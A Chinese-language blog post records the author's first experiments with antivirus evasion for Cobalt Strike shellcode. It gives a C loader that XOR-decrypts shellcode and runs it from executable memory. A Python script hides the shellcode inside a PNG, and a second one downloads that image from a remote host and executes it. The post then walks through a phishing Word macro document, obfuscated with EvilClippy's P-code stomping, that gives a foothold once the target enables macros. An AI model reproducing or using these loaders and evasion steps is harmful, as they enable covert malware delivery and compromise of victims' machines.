加载shellcode免杀这一问题是渗透过程中不可缺少的部分,以此使得我们的目标机器能够成功上线。此篇博客记录我免杀入门的简单尝试。
CS生成默认shellcode
生成64位shellcode
shellcode加密
首先采用如下算法对shellcode进行简单加密:
生成加密后的shellcode。然后我们编写加载程序。程序在运行后才对加密后的shellcode进行解密,所以执行前杀软扫不出shellcode特征码,实现静态查杀的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <Windows.h> #include <stdio.h> #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = ""; void main() {
int i; for (i = 0; i < 927; i++) { buf[i] = buf[i] ^ buf[i + 1]; }
char* Memory; Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
|
成功上线:
VT 21/66,效果并不理想。
分离免杀
原理类似于加密shellcode。同样地,将原来的shellcode进行编码与加密,但是这里shellcode并不放入主程序,而是隐藏在其他文件中。这样,后门本体就没有shellcode了,运行时再从其他文件进行加载。
这里的脚本我将shellcode进行base64编码后,写入一个文件,并在最后两个字节记录base64编码后的shellcode的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import base64
shellcode = b"shellcode"
fileName = "E:/Desktop/免杀/第三方加载shellcode/guanxi.png"
based = base64.encodebytes(shellcode) len_based = len(based) print(based)
with open(fileName,"rb+") as f: strb = f.read() print(len(strb) // 1024, 'kb', len(strb) % 1024, 'bytes')
with open(fileName[:-4] + 'Coded' + fileName[-4:],"wb+") as f: f.write(strb + based + len_based.to_bytes(2, 'big'))
|
将文件上传到国外图床,加载时进行下载并解析执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import ctypes import base64 import os import requests
url = bytes( '编码后的图床url', 'ascii') r = requests.get(base64.b64decode(url)) with open(os.path.expanduser('~') + '/guanxiCoded.png', "wb") as code: code.write(r.content)
filename = os.path.expanduser('~') + '/guanxiCoded.png'
with open(filename, "rb") as f:
strb = f.read() len_based = int.from_bytes(strb[-2:], 'big') based = strb[-2-len_based: -2] shellcode = base64.decodebytes(based)
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
shellcode_func = ctypes.cast( shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
shellcode_func()
|
office宏免杀
当用户打开文档并开启宏时,会执行宏内的VBA脚本。如果不对宏进行混淆会被秒杀。
CS生成宏:
复制宏后,打开一个word文档:
选择此文档,随便写个名字,然后点击创建:
清空原有内容,粘贴宏脚本:
这里选择否。然后保存为启用宏的 word 文档。注意:这里一定要先关闭杀软,不然会保存失败,因为现在还没有做免杀处理
保存,另存为”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码。注意修改作者
当目标点击启用宏
的选项之后就会上线:
现在简单整理一下免杀的思路
- 远程调用启用宏模板
- 对vba脚本进行编码混淆
- vba写hta、vbs脚本、写注册表等手段来绕过
- 文档加密
如何规避静态查杀?最好的办法当然是自己写恶意代码,但大部分云黑客都是脚本小子,这也没关系,现在 gayhub 上也有很多免杀开源的脚本。这里以 EvilClippy 作为演示 用于创建恶意 MS Office 文档的跨平台助手。
EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性。
项目地址:outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows. (github.com)
需要安装mono,使用如下命令即可编译:
1
| mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs
|
首先创建一个正常的vba代码文件,因为该工具的原理就是利用正常的vba代码和带有宏病毒vba代码的文件进行混淆来绕过杀软的查杀。
1 2 3 4 5
| Sub test()
Dim X
X = MsgBox("test")
|
然后执行:
1
| mono ./EvilClippy.exe -s test.vba Doc1.doc
|
最后发现使用工具-r会被杀掉,使用-s(滥用P-code)可以绕过。
宏免杀使用工具虽然方便,但局限性很大,我们可以学习工具的思路或者修改底层的VBA代码,结合不同的利用姿势,从而达到更强免杀效果。
参考博客:
CS钓鱼文档宏病毒免杀初探-技术圈 (proginn.com)
Office如何快速进行宏免杀 - 云+社区 - 腾讯云 (tencent.com)
Office宏病毒文件制作以及简单免杀 - reader-l’s blog